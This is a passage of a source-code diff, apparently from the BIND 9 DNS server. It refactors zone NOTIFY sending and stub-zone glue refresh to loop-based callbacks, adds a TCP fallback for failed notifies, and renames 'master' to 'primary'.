 	dns_name_init(&notify->ns, NULL);
 	ISC_LINK_INIT(notify, link);
@@ -12165,27 +12025,30 @@ notify_create(isc_mem_t *mctx, unsigned int flags, dns_notify_t **notifyp) {
  * XXXAG should check for DNS_ZONEFLG_EXITING
  */
 static void
-process_adb_event(isc_task_t *task, isc_event_t *ev) {
-	dns_notify_t *notify;
-	isc_eventtype_t result;
-
-	UNUSED(task);
+process_notify_adb_event(void *arg) {
+	dns_adbfind_t *find = (dns_adbfind_t *)arg;
+	dns_notify_t *notify = (dns_notify_t *)find->cbarg;
+	dns_adbstatus_t astat = find->status;
 
-	notify = ev->ev_arg;
 	REQUIRE(DNS_NOTIFY_VALID(notify));
-	INSIST(task == notify->zone->task);
-	result = ev->ev_type;
-	isc_event_free(&ev);
-	if (result == DNS_EVENT_ADBMOREADDRESSES) {
+	REQUIRE(find == notify->find);
+
+	switch (astat) {
+	case DNS_ADB_MOREADDRESSES:
 		dns_adb_destroyfind(&notify->find);
 		notify_find_address(notify);
 		return;
-	}
-	if (result == DNS_EVENT_ADBNOMOREADDRESSES) {
+
+	case DNS_ADB_NOMOREADDRESSES:
 		LOCK_ZONE(notify->zone);
 		notify_send(notify);
 		UNLOCK_ZONE(notify->zone);
+		break;
+
+	default:
+		break;
 	}
+
 	notify_destroy(notify, false);
 }
 
@@ -12193,19 +12056,22 @@ static void
 notify_find_address(dns_notify_t *notify) {
 	isc_result_t result;
 	unsigned int options;
+	dns_adb_t *adb = NULL;
 
 	REQUIRE(DNS_NOTIFY_VALID(notify));
 	options = DNS_ADBFIND_WANTEVENT | DNS_ADBFIND_INET | DNS_ADBFIND_INET6 |
 		  DNS_ADBFIND_RETURNLAME;
 
-	if (notify->zone->view->adb == NULL) {
+	dns_view_getadb(notify->zone->view, &adb);
+	if (adb == NULL) {
 		goto destroy;
 	}
 
 	result = dns_adb_createfind(
-		notify->zone->view->adb, notify->zone->task, process_adb_event,
-		notify, &notify->ns, dns_rootname, 0, options, 0, NULL,
+		adb, notify->zone->loop, process_notify_adb_event, notify,
+		&notify->ns, dns_rootname, 0, options, 0, NULL,
 		notify->zone->view->dstport, 0, NULL, &notify->find);
+	dns_adb_detach(&adb);
 
 	/* Something failed? */
 	if (result != ISC_R_SUCCESS) {
@@ -12228,57 +12094,33 @@ notify_find_address(dns_notify_t *notify) {
 
 static isc_result_t
 notify_send_queue(dns_notify_t *notify, bool startup) {
-	isc_event_t *e;
-	isc_result_t result;
-
-	INSIST(notify->event == NULL);
-	e = isc_event_allocate(notify->mctx, NULL, DNS_EVENT_NOTIFYSENDTOADDR,
-			       notify_send_toaddr, notify, sizeof(isc_event_t));
-	if (startup) {
-		notify->event = e;
-	}
-	e->ev_arg = notify;
-	e->ev_sender = NULL;
-	result = isc_ratelimiter_enqueue(
+	return (isc_ratelimiter_enqueue(
 		startup ? notify->zone->zmgr->startupnotifyrl
 			: notify->zone->zmgr->notifyrl,
-		notify->zone->task, &e);
-	if (result != ISC_R_SUCCESS) {
-		isc_event_free(&e);
-		notify->event = NULL;
-	}
-	return (result);
+		notify->zone->loop, notify_send_toaddr, notify,
+		&notify->rlevent));
 }
 
 static void
-notify_send_toaddr(isc_task_t *task, isc_event_t *event) {
-	dns_notify_t *notify;
+notify_send_toaddr(void *arg) {
+	dns_notify_t *notify = (dns_notify_t *)arg;
 	isc_result_t result;
 	dns_message_t *message = NULL;
 	isc_netaddr_t dstip;
 	dns_tsigkey_t *key = NULL;
 	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
 	isc_sockaddr_t src;
-	unsigned int options, timeout;
+	unsigned int options, timeout, udptimeout;
 	bool have_notifysource = false;
-	bool have_notifydscp = false;
-	isc_dscp_t dscp = -1;
 
-	notify = event->ev_arg;
 	REQUIRE(DNS_NOTIFY_VALID(notify));
 
-	UNUSED(task);
-
 	LOCK_ZONE(notify->zone);
 
-	notify->event = NULL;
-
-	if (DNS_ZONE_FLAG(notify->zone, DNS_ZONEFLG_LOADED) == 0) {
-		result = ISC_R_CANCELED;
-		goto cleanup;
-	}
+	isc_sockaddr_format(&notify->dst, addrbuf, sizeof(addrbuf));
 
-	if ((event->ev_attributes & ISC_EVENTATTR_CANCELED) != 0 ||
+	if (DNS_ZONE_FLAG(notify->zone, DNS_ZONEFLG_LOADED) == 0 ||
+	    notify->rlevent->canceled ||
 	    DNS_ZONE_FLAG(notify->zone, DNS_ZONEFLG_EXITING) ||
 	    notify->zone->view->requestmgr == NULL || notify->zone->db == NULL)
 	{
@@ -12293,7 +12135,6 @@ notify_send_toaddr(isc_task_t *task, isc_event_t *event) {
 	if (isc_sockaddr_pf(&notify->dst) == PF_INET6 &&
 	    IN6_IS_ADDR_V4MAPPED(&notify->dst.type.sin6.sin6_addr))
 	{
-		isc_sockaddr_format(&notify->dst, addrbuf, sizeof(addrbuf));
 		notify_log(notify->zone, ISC_LOG_DEBUG(3),
 			   "notify: ignoring IPv6 mapped IPV4 address: %s",
 			   addrbuf);
@@ -12306,7 +12147,6 @@ notify_send_toaddr(isc_task_t *task, isc_event_t *event) {
 		goto cleanup;
 	}
 
-	isc_sockaddr_format(&notify->dst, addrbuf, sizeof(addrbuf));
 	if (notify->key != NULL) {
 		/* Transfer ownership of key */
 		key = notify->key;
@@ -12326,13 +12166,13 @@ notify_send_toaddr(isc_task_t *task, isc_event_t *event) {
 	if (key != NULL) {
 		char namebuf[DNS_NAME_FORMATSIZE];
 
-		dns_name_format(&key->name, namebuf, sizeof(namebuf));
-		notify_log(notify->zone, ISC_LOG_DEBUG(3),
+		dns_name_format(key->name, namebuf, sizeof(namebuf));
+		notify_log(notify->zone, ISC_LOG_INFO,
 			   "sending notify to %s : TSIG (%s)", addrbuf,
 			   namebuf);
 	} else {
-		notify_log(notify->zone, ISC_LOG_DEBUG(3),
-			   "sending notify to %s", addrbuf);
+		notify_log(notify->zone, ISC_LOG_INFO, "sending notify to %s",
+			   addrbuf);
 	}
 	options = 0;
 	if (notify->zone->view->peers != NULL) {
@@ -12345,10 +12185,6 @@ notify_send_toaddr(isc_task_t *task, isc_event_t *event) {
 			if (result == ISC_R_SUCCESS) {
 				have_notifysource = true;
 			}
-			dns_peer_getnotifydscp(peer, &dscp);
-			if (dscp != -1) {
-				have_notifydscp = true;
-			}
 			result = dns_peer_getforcetcp(peer, &usetcp);
 			if (result == ISC_R_SUCCESS && usetcp) {
 				options |= DNS_FETCHOPT_TCP;
@@ -12358,32 +12194,45 @@ notify_send_toaddr(isc_task_t *task, isc_event_t *event) {
 	switch (isc_sockaddr_pf(&notify->dst)) {
 	case PF_INET:
 		if (!have_notifysource) {
-			src = notify->zone->notifysrc4;
-		}
-		if (!have_notifydscp) {
-			dscp = notify->zone->notifysrc4dscp;
+			isc_sockaddr_t any;
+			isc_sockaddr_any(&any);
+
+			src = notify->src;
+			if (isc_sockaddr_equal(&src, &any)) {
+				src = notify->zone->notifysrc4;
+			}
 		}
 		break;
 	case PF_INET6:
 		if (!have_notifysource) {
-			src = notify->zone->notifysrc6;
-		}
-		if (!have_notifydscp) {
-			dscp = notify->zone->notifysrc6dscp;
+			isc_sockaddr_t any;
+			isc_sockaddr_any6(&any);
+
+			src = notify->src;
+			if (isc_sockaddr_equal(&src, &any)) {
+				src = notify->zone->notifysrc6;
+			}
 		}
 		break;
 	default:
 		result = ISC_R_NOTIMPLEMENTED;
 		goto cleanup_key;
 	}
-	timeout = 15;
+	udptimeout = 15;
 	if (DNS_ZONE_FLAG(notify->zone, DNS_ZONEFLG_DIALNOTIFY)) {
-		timeout = 30;
+		udptimeout = 30;
+	}
+	timeout = 3 * udptimeout;
+again:
+	if ((notify->flags & DNS_NOTIFY_TCP) != 0) {
+		options |= DNS_REQUESTOPT_TCP;
+		udptimeout = 0;
+		timeout = 15;
 	}
-	result = dns_request_createvia(
+	result = dns_request_create(
 		notify->zone->view->requestmgr, message, &src, &notify->dst,
-		dscp, options, key, timeout * 3, timeout, 0, notify->zone->task,
-		notify_done, notify, &notify->request);
+		NULL, NULL, options, key, timeout, udptimeout, 2,
+		notify->zone->loop, notify_done, notify, &notify->request);
 	if (result == ISC_R_SUCCESS) {
 		if (isc_sockaddr_pf(&notify->dst) == AF_INET) {
 			inc_stats(notify->zone,
@@ -12392,6 +12241,14 @@ notify_send_toaddr(isc_task_t *task, isc_event_t *event) {
 			inc_stats(notify->zone,
 				  dns_zonestatscounter_notifyoutv6);
 		}
+	} else if (result == ISC_R_SHUTTINGDOWN || result == ISC_R_CANCELED) {
+		goto cleanup_key;
+	} else if ((notify->flags & DNS_NOTIFY_TCP) == 0) {
+		notify_log(notify->zone, ISC_LOG_NOTICE,
+			   "notify to %s failed: %s: retrying over TCP",
+			   addrbuf, isc_result_totext(result));
+		notify->flags |= DNS_NOTIFY_TCP;
+		goto again;
 	}
 
 cleanup_key:
@@ -12402,8 +12259,15 @@ notify_send_toaddr(isc_task_t *task, isc_event_t *event) {
 	dns_message_detach(&message);
 cleanup:
 	UNLOCK_ZONE(notify->zone);
-	isc_event_free(&event);
+	if (notify->rlevent != NULL) {
+		isc_rlevent_free(&notify->rlevent);
+	}
+
 	if (result != ISC_R_SUCCESS) {
+		isc_sockaddr_format(&notify->dst, addrbuf, sizeof(addrbuf));
+		notify_log(notify->zone, ISC_LOG_WARNING,
+			   "notify to %s failed: %s", addrbuf,
+			   isc_result_totext(result));
 		notify_destroy(notify, false);
 	}
 }
@@ -12432,7 +12296,8 @@ notify_send(dns_notify_t *notify) {
 	{
 		dst = ai->sockaddr;
 		if (notify_isqueued(notify->zone, notify->flags, NULL, &dst,
-				    NULL, NULL)) {
+				    NULL, NULL))
+		{
 			continue;
 		}
 		if (notify_isself(notify->zone, &dst)) {
@@ -12470,7 +12335,7 @@ dns_zone_notify(dns_zone_t *zone) {
 	LOCK_ZONE(zone);
 	DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NEEDNOTIFY);
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 	zone_settimer(zone, &now);
 	UNLOCK_ZONE(zone);
 }
@@ -12481,7 +12346,7 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 	dns_db_t *zonedb = NULL;
 	dns_dbversion_t *version = NULL;
 	dns_name_t *origin = NULL;
-	dns_name_t master;
+	dns_name_t primary;
 	dns_rdata_ns_t ns;
 	dns_rdata_soa_t soa;
 	uint32_t serial;
@@ -12489,7 +12354,7 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 	dns_rdataset_t nsrdset;
 	dns_rdataset_t soardset;
 	isc_result_t result;
-	unsigned int i;
+	isc_sockaddr_t src;
 	isc_sockaddr_t dst;
 	bool isqueued;
 	dns_notifytype_t notifytype;
@@ -12518,7 +12383,8 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 	}
 
 	if (notifytype == dns_notifytype_masteronly &&
-	    zone->type != dns_zone_master) {
+	    zone->type != dns_zone_primary)
+	{
 		return;
 	}
 
@@ -12564,9 +12430,9 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 	}
 
 	/*
-	 * Find serial and master server's name.
+	 * Find serial and primary server's name.
 	 */
-	dns_name_init(&master, NULL);
+	dns_name_init(&primary, NULL);
 	result = dns_rdataset_first(&soardset);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup3;
@@ -12575,7 +12441,7 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 	result = dns_rdata_tostruct(&rdata, &soa, NULL);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	dns_rdata_reset(&rdata);
-	dns_name_dup(&soa.origin, zone->mctx, &master);
+	dns_name_dup(&soa.origin, zone->mctx, &primary);
 	serial = soa.serial;
 	dns_rdataset_disassociate(&soardset);
 
@@ -12583,32 +12449,35 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 	 * Enqueue notify requests for 'also-notify' servers.
 	 */
 	LOCK_ZONE(zone);
-	for (i = 0; i < zone->notifycnt; i++) {
+
+	dns_remote_reset(&zone->notify, false);
+	while (!dns_remote_done(&zone->notify)) {
 		dns_tsigkey_t *key = NULL;
 		dns_transport_t *transport = NULL;
 		dns_notify_t *notify = NULL;
 		dns_view_t *view = dns_zone_getview(zone);
 
-		if ((zone->notifykeynames != NULL) &&
-		    (zone->notifykeynames[i] != NULL)) {
-			dns_name_t *keyname = zone->notifykeynames[i];
+		if (dns_remote_keyname(&zone->notify) != NULL) {
+			dns_name_t *keyname = dns_remote_keyname(&zone->notify);
 			(void)dns_view_gettsig(view, keyname, &key);
 		}
 
-		if ((zone->notifytlsnames != NULL) &&
-		    (zone->notifytlsnames[i] != NULL)) {
-			dns_name_t *tlsname = zone->notifytlsnames[i];
+		if (dns_remote_tlsname(&zone->notify) != NULL) {
+			dns_name_t *tlsname = dns_remote_tlsname(&zone->notify);
 			(void)dns_view_gettransport(view, DNS_TRANSPORT_TLS,
 						    tlsname, &transport);
 
 			dns_zone_logc(
-				zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_ERROR,
+				zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_INFO,
 				"got TLS configuration for zone transfer");
 		}
 
 		/* TODO: glue the transport to the notify */
 
-		dst = zone->notify[i];
+		dst = dns_remote_curraddr(&zone->notify);
+		src = dns_remote_sourceaddr(&zone->notify);
+		INSIST(isc_sockaddr_pf(&src) == isc_sockaddr_pf(&dst));
+
 		if (notify_isqueued(zone, flags, NULL, &dst, key, transport)) {
 			if (key != NULL) {
 				dns_tsigkey_detach(&key);
@@ -12616,7 +12485,7 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 			if (transport != NULL) {
 				dns_transport_detach(&transport);
 			}
-			continue;
+			goto next;
 		}
 
 		result = notify_create(zone->mctx, flags, &notify);
@@ -12627,10 +12496,11 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 			if (transport != NULL) {
 				dns_transport_detach(&transport);
 			}
-			continue;
+			goto next;
 		}
 
 		zone_iattach(zone, &notify->zone);
+		notify->src = src;
 		notify->dst = dst;
 
 		INSIST(notify->key == NULL);
@@ -12656,6 +12526,8 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 				   "sending notifies (serial %u)", serial);
 			loggednotify = true;
 		}
+	next:
+		dns_remote_next(&zone->notify, false);
 	}
 	UNLOCK_ZONE(zone);
 
@@ -12683,11 +12555,11 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 		dns_rdata_reset(&rdata);
 		/*
-		 * Don't notify the master server unless explicitly
+		 * Don't notify the primary server unless explicitly
 		 * configured to do so.
 		 */
 		if (!DNS_ZONE_OPTION(zone, DNS_ZONEOPT_NOTIFYTOSOA) &&
-		    dns_name_compare(&master, &ns.name) == 0)
+		    dns_name_compare(&primary, &ns.name) == 0)
 		{
 			result = dns_rdataset_next(&nsrdset);
 			continue;
@@ -12722,8 +12594,8 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 	dns_rdataset_disassociate(&nsrdset);
 
 cleanup3:
-	if (dns_name_dynamic(&master)) {
-		dns_name_free(&master, zone->mctx);
+	if (dns_name_dynamic(&primary)) {
+		dns_name_free(&primary, zone->mctx);
 	}
 cleanup2:
 	dns_db_detachnode(zonedb, &node);
@@ -12735,28 +12607,21 @@ zone_notify(dns_zone_t *zone, isc_time_t *now) {
 /***
  *** Private
  ***/
-static inline isc_result_t
+static void
 create_query(dns_zone_t *zone, dns_rdatatype_t rdtype, dns_name_t *name,
 	     dns_message_t **messagep) {
 	dns_message_t *message = NULL;
 	dns_name_t *qname = NULL;
 	dns_rdataset_t *qrdataset = NULL;
-	isc_result_t result;
 
 	dns_message_create(zone->mctx, DNS_MESSAGE_INTENTRENDER, &message);
 
 	message->opcode = dns_opcode_query;
 	message->rdclass = zone->rdclass;
 
-	result = dns_message_gettempname(message, &qname);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_message_gettempname(message, &qname);
 
-	result = dns_message_gettemprdataset(message, &qrdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_message_gettemprdataset(message, &qrdataset);
 
 	/*
 	 * Make question.
@@ -12767,17 +12632,6 @@ create_query(dns_zone_t *zone, dns_rdatatype_t rdtype, dns_name_t *name,
 	dns_message_addname(message, qname, DNS_SECTION_QUESTION);
 
 	*messagep = message;
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (qname != NULL) {
-		dns_message_puttempname(message, &qname);
-	}
-	if (qrdataset != NULL) {
-		dns_message_puttemprdataset(message, &qrdataset);
-	}
-	dns_message_detach(&message);
-	return (result);
 }
 
 static isc_result_t
@@ -12815,7 +12669,7 @@ add_opt(dns_message_t *message, uint16_t udpsize, bool reqnsid,
 /*
  * Called when stub zone update is finished.
  * Update zone refresh, retry, expire values accordingly with
- * SOA received from master, sync database to file, restart
+ * SOA received from primary, sync database to file, restart
  * zone management timer.
  */
 static void
@@ -12866,57 +12720,54 @@ stub_finish_zone_update(dns_stub_t *stub, isc_time_t now) {
  * was missing in a previous answer for a NS query.
  */
 static void
-stub_glue_response_cb(isc_task_t *task, isc_event_t *event) {
-	const char me[] = "stub_glue_response_cb";
-	dns_requestevent_t *revent = (dns_requestevent_t *)event;
-	dns_stub_t *stub = NULL;
+stub_glue_response(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
+	struct stub_glue_request *sgr = dns_request_getarg(request);
+	struct stub_cb_args *cb_args = sgr->args;
+	dns_stub_t *stub = cb_args->stub;
 	dns_message_t *msg = NULL;
 	dns_zone_t *zone = NULL;
-	char master[ISC_SOCKADDR_FORMATSIZE];
+	char primary[ISC_SOCKADDR_FORMATSIZE];
 	char source[ISC_SOCKADDR_FORMATSIZE];
 	uint32_t addr_count, cnamecnt;
 	isc_result_t result;
+	isc_sockaddr_t curraddr;
 	isc_time_t now;
-	struct stub_glue_request *request;
-	struct stub_cb_args *cb_args;
 	dns_rdataset_t *addr_rdataset = NULL;
 	dns_dbnode_t *node = NULL;
 
-	UNUSED(task);
-
-	request = revent->ev_arg;
-	cb_args = request->args;
-	stub = cb_args->stub;
 	INSIST(DNS_STUB_VALID(stub));
 
 	zone = stub->zone;
 
 	ENTER;
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 
 	LOCK_ZONE(zone);
 
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
-		zone_debuglog(zone, me, 1, "exiting");
+		zone_debuglog(zone, __func__, 1, "exiting");
 		goto cleanup;
 	}
 
-	isc_sockaddr_format(&zone->masteraddr, master, sizeof(master));
+	curraddr = dns_remote_curraddr(&zone->primaries);
+	isc_sockaddr_format(&curraddr, primary, sizeof(primary));
 	isc_sockaddr_format(&zone->sourceaddr, source, sizeof(source));
 
-	if (revent->result != ISC_R_SUCCESS) {
-		dns_zonemgr_unreachableadd(zone->zmgr, &zone->masteraddr,
+	if (dns_request_getresult(request) != ISC_R_SUCCESS) {
+		dns_zonemgr_unreachableadd(zone->zmgr, &curraddr,
 					   &zone->sourceaddr, &now);
 		dns_zone_log(zone, ISC_LOG_INFO,
-			     "could not refresh stub from master %s"
+			     "could not refresh stub from primary %s"
 			     " (source %s): %s",
-			     master, source, dns_result_totext(revent->result));
+			     primary, source,
+			     isc_result_totext(dns_request_getresult(request)));
 		goto cleanup;
 	}
 
 	dns_message_create(zone->mctx, DNS_MESSAGE_INTENTPARSE, &msg);
-	result = dns_request_getresponse(revent->request, msg, 0);
+	result = dns_request_getresponse(request, msg, 0);
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: unable to parse response (%s)",
@@ -12924,6 +12775,23 @@ stub_glue_response_cb(isc_task_t *task, isc_event_t *event) {
 		goto cleanup;
 	}
 
+	/*
+	 * Unexpected opcode.
+	 */
+	if (msg->opcode != dns_opcode_query) {
+		char opcode[128];
+		isc_buffer_t rb;
+
+		isc_buffer_init(&rb, opcode, sizeof(opcode));
+		(void)dns_opcode_totext(msg->opcode, &rb);
+
+		dns_zone_log(zone, ISC_LOG_INFO,
+			     "refreshing stub: "
+			     "unexpected opcode (%.*s) from %s (source %s)",
+			     (int)rb.used, opcode, primary, source);
+		goto cleanup;
+	}
+
 	/*
 	 * Unexpected rcode.
 	 */
@@ -12937,7 +12805,7 @@ stub_glue_response_cb(isc_task_t *task, isc_event_t *event) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: "
 			     "unexpected rcode (%.*s) from %s (source %s)",
-			     (int)rb.used, rcode, master, source);
+			     (int)rb.used, rcode, primary, source);
 		goto cleanup;
 	}
 
@@ -12945,11 +12813,11 @@ stub_glue_response_cb(isc_task_t *task, isc_event_t *event) {
 	 * We need complete messages.
 	 */
 	if ((msg->flags & DNS_MESSAGEFLAG_TC) != 0) {
-		if (dns_request_usedtcp(revent->request)) {
+		if (dns_request_usedtcp(request)) {
 			dns_zone_log(zone, ISC_LOG_INFO,
 				     "refreshing stub: truncated TCP "
-				     "response from master %s (source %s)",
-				     master, source);
+				     "response from primary %s (source %s)",
+				     primary, source);
 		}
 		goto cleanup;
 	}
@@ -12961,8 +12829,8 @@ stub_glue_response_cb(isc_task_t *task, isc_event_t *event) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: "
 			     "non-authoritative answer from "
-			     "master %s (source %s)",
-			     master, source);
+			     "primary %s (source %s)",
+			     primary, source);
 		goto cleanup;
 	}
 
@@ -12971,52 +12839,51 @@ stub_glue_response_cb(isc_task_t *task, isc_event_t *event) {
 	 */
 	cnamecnt = message_count(msg, DNS_SECTION_ANSWER, dns_rdatatype_cname);
 	addr_count = message_count(msg, DNS_SECTION_ANSWER,
-				   request->ipv4 ? dns_rdatatype_a
-						 : dns_rdatatype_aaaa);
+				   sgr->ipv4 ? dns_rdatatype_a
+					     : dns_rdatatype_aaaa);
 
 	if (cnamecnt != 0) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: unexpected CNAME response "
-			     "from master %s (source %s)",
-			     master, source);
+			     "from primary %s (source %s)",
+			     primary, source);
 		goto cleanup;
 	}
 
 	if (addr_count == 0) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: no %s records in response "
-			     "from master %s (source %s)",
-			     request->ipv4 ? "A" : "AAAA", master, source);
+			     "from primary %s (source %s)",
+			     sgr->ipv4 ? "A" : "AAAA", primary, source);
 		goto cleanup;
 	}
 	/*
 	 * Extract A or AAAA RRset from message.
 	 */
-	result = dns_message_findname(msg, DNS_SECTION_ANSWER, &request->name,
-				      request->ipv4 ? dns_rdatatype_a
-						    : dns_rdatatype_aaaa,
+	result = dns_message_findname(msg, DNS_SECTION_ANSWER, &sgr->name,
+				      sgr->ipv4 ? dns_rdatatype_a
+						: dns_rdatatype_aaaa,
 				      dns_rdatatype_none, NULL, &addr_rdataset);
 	if (result != ISC_R_SUCCESS) {
 		if (result != DNS_R_NXDOMAIN && result != DNS_R_NXRRSET) {
 			char namebuf[DNS_NAME_FORMATSIZE];
-			dns_name_format(&request->name, namebuf,
-					sizeof(namebuf));
+			dns_name_format(&sgr->name, namebuf, sizeof(namebuf));
 			dns_zone_log(
 				zone, ISC_LOG_INFO,
 				"refreshing stub: dns_message_findname(%s/%s) "
 				"failed (%s)",
-				namebuf, request->ipv4 ? "A" : "AAAA",
+				namebuf, sgr->ipv4 ? "A" : "AAAA",
 				isc_result_totext(result));
 		}
 		goto cleanup;
 	}
 
-	result = dns_db_findnode(stub->db, &request->name, true, &node);
+	result = dns_db_findnode(stub->db, &sgr->name, true, &node);
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: "
 			     "dns_db_findnode() failed: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto cleanup;
 	}
 
@@ -13026,7 +12893,7 @@ stub_glue_response_cb(isc_task_t *task, isc_event_t *event) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "refreshing stub: "
 			     "dns_db_addrdataset() failed: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 	}
 	dns_db_detachnode(stub->db, &node);
 
@@ -13034,10 +12901,10 @@ stub_glue_response_cb(isc_task_t *task, isc_event_t *event) {
 	if (msg != NULL) {
 		dns_message_detach(&msg);
 	}
-	isc_event_free(&event);
-	dns_name_free(&request->name, zone->mctx);
-	dns_request_destroy(&request->request);
-	isc_mem_put(zone->mctx, request, sizeof(*request));
+
+	dns_name_free(&sgr->name, zone->mctx);
+	dns_request_destroy(&sgr->request);
+	isc_mem_put(zone->mctx, sgr, sizeof(*sgr));
 
 	/* If last request, release all related resources */
 	if (atomic_fetch_sub_release(&stub->pending_requests, 1) == 1) {
@@ -13055,7 +12922,7 @@ stub_glue_response_cb(isc_task_t *task, isc_event_t *event) {
 }
 
 /*
- * Create and send an A or AAAA query to the master
+ * Create and send an A or AAAA query to the primary
  * server of the stub zone given.
  */
 static isc_result_t
@@ -13064,44 +12931,48 @@ stub_request_nameserver_address(struct stub_cb_args *args, bool ipv4,
 	dns_message_t *message = NULL;
 	dns_zone_t *zone;
 	isc_result_t result;
-	struct stub_glue_request *request;
+	struct stub_glue_request *sgr;
+	isc_sockaddr_t curraddr;
 
 	zone = args->stub->zone;
-	request = isc_mem_get(zone->mctx, sizeof(*request));
-	request->request = NULL;
-	request->args = args;
-	request->name = (dns_name_t)DNS_NAME_INITEMPTY;
-	request->ipv4 = ipv4;
-	dns_name_dup(name, zone->mctx, &request->name);
-
-	result = create_query(zone, ipv4 ? dns_rdatatype_a : dns_rdatatype_aaaa,
-			      &request->name, &message);
-	INSIST(result == ISC_R_SUCCESS);
+	sgr = isc_mem_get(zone->mctx, sizeof(*sgr));
+	*sgr = (struct stub_glue_request){
+		.args = args,
+		.name = (dns_name_t)DNS_NAME_INITEMPTY,
+		.ipv4 = ipv4,
+	};
+
+	dns_name_dup(name, zone->mctx, &sgr->name);
+
+	create_query(zone, ipv4 ? dns_rdatatype_a : dns_rdatatype_aaaa,
+		     &sgr->name, &message);
 
 	if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOEDNS)) {
 		result = add_opt(message, args->udpsize, args->reqnsid, false);
 		if (result != ISC_R_SUCCESS) {
-			zone_debuglog(zone, "stub_send_query", 1,
+			zone_debuglog(zone, __func__, 1,
 				      "unable to add opt record: %s",
-				      dns_result_totext(result));
+				      isc_result_totext(result));
 			goto fail;
 		}
 	}
 
 	atomic_fetch_add_release(&args->stub->pending_requests, 1);
 
-	result = dns_request_createvia(
-		zone->view->requestmgr, message, &zone->sourceaddr,
-		&zone->masteraddr, args->dscp, DNS_REQUESTOPT_TCP,
-		args->tsig_key, args->timeout * 3, args->timeout, 0, zone->task,
-		stub_glue_response_cb, request, &request->request);
+	curraddr = dns_remote_curraddr(&zone->primaries);
+	result = dns_request_create(
+		zone->view->requestmgr, message, &zone->sourceaddr, &curraddr,
+		NULL, NULL, DNS_REQUESTOPT_TCP, args->tsig_key,
+		args->timeout * 3, args->timeout, 2, zone->loop,
+		stub_glue_response, sgr, &sgr->request);
 
 	if (result != ISC_R_SUCCESS) {
-		INSIST(atomic_fetch_sub_release(&args->stub->pending_requests,
-						1) > 1);
-		zone_debuglog(zone, "stub_send_query", 1,
-			      "dns_request_createvia() failed: %s",
-			      dns_result_totext(result));
+		uint_fast32_t pr;
+		pr = atomic_fetch_sub_release(&args->stub->pending_requests, 1);
+		INSIST(pr > 1);
+		zone_debuglog(zone, __func__, 1,
+			      "dns_request_create() failed: %s",
+			      isc_result_totext(result));
 		goto fail;
 	}
 
@@ -13110,8 +12981,8 @@ stub_request_nameserver_address(struct stub_cb_args *args, bool ipv4,
 	return (ISC_R_SUCCESS);
 
 fail:
-	dns_name_free(&request->name, zone->mctx);
-	isc_mem_put(zone->mctx, request, sizeof(*request));
+	dns_name_free(&sgr->name, zone->mctx);
+	isc_mem_put(zone->mctx, sgr, sizeof(*sgr));
 
 	if (message != NULL) {
 		dns_message_detach(&message);
@@ -13120,7 +12991,7 @@ stub_request_nameserver_address(struct stub_cb_args *args, bool ipv4,
 	return (result);
 }
 
-static inline isc_result_t
+static isc_result_t
 save_nsrrset(dns_message_t *message, dns_name_t *name,
 	     struct stub_cb_args *cb_args, dns_db_t *db,
 	     dns_dbversion_t *version) {
@@ -13271,69 +13142,86 @@ save_nsrrset(dns_message_t *message, dns_name_t *name,
 }
 
 static void
-stub_callback(isc_task_t *task, isc_event_t *event) {
-	const char me[] = "stub_callback";
-	dns_requestevent_t *revent = (dns_requestevent_t *)event;
-	dns_stub_t *stub = NULL;
+stub_callback(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
+	struct stub_cb_args *cb_args = dns_request_getarg(request);
+	dns_stub_t *stub = cb_args->stub;
 	dns_message_t *msg = NULL;
 	dns_zone_t *zone = NULL;
-	char master[ISC_SOCKADDR_FORMATSIZE];
+	char primary[ISC_SOCKADDR_FORMATSIZE];
 	char source[ISC_SOCKADDR_FORMATSIZE];
 	uint32_t nscnt, cnamecnt;
 	isc_result_t result;
+	isc_sockaddr_t curraddr;
 	isc_time_t now;
 	bool exiting = false;
-	unsigned int j;
-	struct stub_cb_args *cb_args;
 
-	cb_args = revent->ev_arg;
-	stub = cb_args->stub;
 	INSIST(DNS_STUB_VALID(stub));
 
-	UNUSED(task);
-
 	zone = stub->zone;
 
 	ENTER;
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 
 	LOCK_ZONE(zone);
 
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
-		zone_debuglog(zone, me, 1, "exiting");
-		exiting = true;
